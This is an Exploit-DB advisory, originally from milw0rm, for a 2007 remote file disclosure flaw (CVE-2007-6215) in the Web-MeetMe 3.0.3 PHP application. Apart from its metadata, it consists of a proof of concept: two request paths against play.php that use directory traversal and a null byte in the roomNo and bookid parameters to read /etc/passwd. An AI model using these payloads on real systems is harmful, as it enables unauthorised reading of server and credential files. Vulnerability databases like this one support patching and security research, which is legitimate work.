Web-MeetMe 3.0.3 - 'play.php' Remote File Disclosure

Author: Evil.Man
type: webapps
platform: php
port: 
date_added: 2007-11-28 
date_updated: 2016-10-20 
verified: 1 
codes: OSVDB-39697;CVE-2007-6215 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comWeb-MeetMe_v3.0.3.tgz

/--------------------------------------------------------------------------\
|Web-MeetMe 3.0.3 (play.php) Remote File Disclosure Vulnerability          |
|Download Script :                                                         |
| http://sourceforge.net/project/showfiles.php?group_id=164788             |
|POC :                                                                     |
| Web-MeetMe_v3.0.3/play.php?roomNo=../../../../../../../../etc/passwd%00  |
| Web-MeetMe_v3.0.3/play.php?bookid=../../../../../../../../etc/passwd%00  |
|Discovered by : Evil.Man                                                  |
|Home Page : Tryag.Com/cc                                                  |
|Email : Evil.Man@windowslive.com                                          |
|Sp.Thanx To : GoLd_M [Mahmood_ali"Tryag.Com"] & Sniper-Sa.Com             |
\--------------------------------------------------------------------------/

# milw0rm.com [2007-11-29]